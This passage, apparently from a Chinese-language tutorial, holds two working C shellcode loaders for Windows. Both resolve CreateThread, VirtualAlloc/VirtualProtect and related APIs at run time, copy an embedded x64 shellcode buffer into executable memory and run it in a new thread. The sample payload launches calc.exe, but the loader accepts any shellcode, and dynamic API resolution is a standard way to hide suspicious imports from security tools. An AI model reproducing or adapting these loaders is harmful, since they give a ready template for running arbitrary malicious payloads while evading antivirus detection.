if (!strcmp((const char*)FunctionName, "GetProcAddress")) {
// 返回函数的地址
return F_va_Tmp;
}
}

// 如果未找到 "GetProcAddress" 函数,返回0
return 0;
}


// 定义指向 GetProcAddress 函数的指针类型
typedef FARPROC(WINAPI* pGetProcAddress)(HMODULE, LPCSTR);
// 定义指向 VirtualProtect 函数的指针类型
typedef BOOL(WINAPI* pVirtualProtect)(LPVOID, DWORD, DWORD, PDWORD);
// 定义指向 CreateThread 函数的指针类型
typedef HANDLE(WINAPI* pCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
// 定义指向 WaitForSingleObject 函数的指针类型
typedef DWORD(WINAPI* pWaitForSingleObject)(HANDLE, DWORD);



int main() {
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
// 获取 Kernel32.dll 的基地址
HMODULE hKernel32 = getKernel32Address();
// 获取 GetProcAddress 函数地址
pGetProcAddress GetProcAddress = (pGetProcAddress)getGetProcAddress(hKernel32);
//// 示例:创建线程执行 shellcode
pCreateThread CreateThread = (pCreateThread)GetProcAddress(hKernel32, "CreateThread");
pWaitForSingleObject WaitForSingleObject = (pWaitForSingleObject)GetProcAddress(hKernel32, "WaitForSingleObject");
pVirtualProtect VirtualProtect = (pVirtualProtect)GetProcAddress(hKernel32, "VirtualProtect");
//修改shellcode缓冲区的内存保护属性,以便执行
DWORD oldProtect;
VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);
//创建新线程执行shellcode并等待其执行完成
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)buf, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
return 0;
}
简易版

该版本没有实现动态获取GetProcAddress函数地址, 而是直接使用并通过GetProcAddress获取其他Windows Api函数地址.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include <windows.h>
// VirtuallAlloc
typedef LPVOID(WINAPI* lpVirtualAlloc)(
LPVOID lpAddress, // region to reserve orcommit
SIZE_T dwSize, // size of region
DWORD flAllocationType, // type of allocation
DWORD flProtect // type of accessprotection
);
// CreateThread
typedef HANDLE(WINAPI* hCreateThread)(
LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
SIZE_T dwStackSize, //initial stack size
LPTHREAD_START_ROUTINE lpStartAddress, // threadfunction
LPVOID lpParameter, // threadargument
DWORD dwCreationFlags, // creation option
LPDWORD lpThreadId // thread identifier
);
// WaitForSingleObject
typedef DWORD(WINAPI* dwWaitForSingleObject)(
HANDLE hHandle, // handle to object
DWORD dwMilliseconds // time-out interval
);
// RtlMoveMemory
typedef VOID(WINAPI* vRtlMoveMemory)(
IN VOID UNALIGNED* Destination,
IN CONST VOID UNALIGNED* Source,
IN SIZE_T Length
);
int main() {
// 获取函数地址并赋值给对应申明的函数
hCreateThread myCT = (hCreateThread)GetProcAddress(GetModuleHandle(L"Kernel32.dll"),
"CreateThread");
lpVirtualAlloc myVA = (lpVirtualAlloc)GetProcAddress(GetModuleHandle(L"Kernel32.dll"),
"VirtualAlloc");
dwWaitForSingleObject myWFSO =
(dwWaitForSingleObject)GetProcAddress(GetModuleHandle(L"kernel32.dll"),
"WaitForSingleObject");
vRtlMoveMemory mymemmove =
(vRtlMoveMemory)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "RtlMoveMemory");
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
// 申请内存
LPVOID lpVA = myVA(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 拷贝数据到内存
mymemmove(lpVA, buf, sizeof(buf));
// 创建线程
HANDLE hThread = myCT(NULL,NULL,(LPTHREAD_START_ROUTINE)lpVA,NULL,NULL,0);
// 等待线程运行
myWFSO(hThread, -1);
// 关闭线程
CloseHandle(hThread);
return 0;
}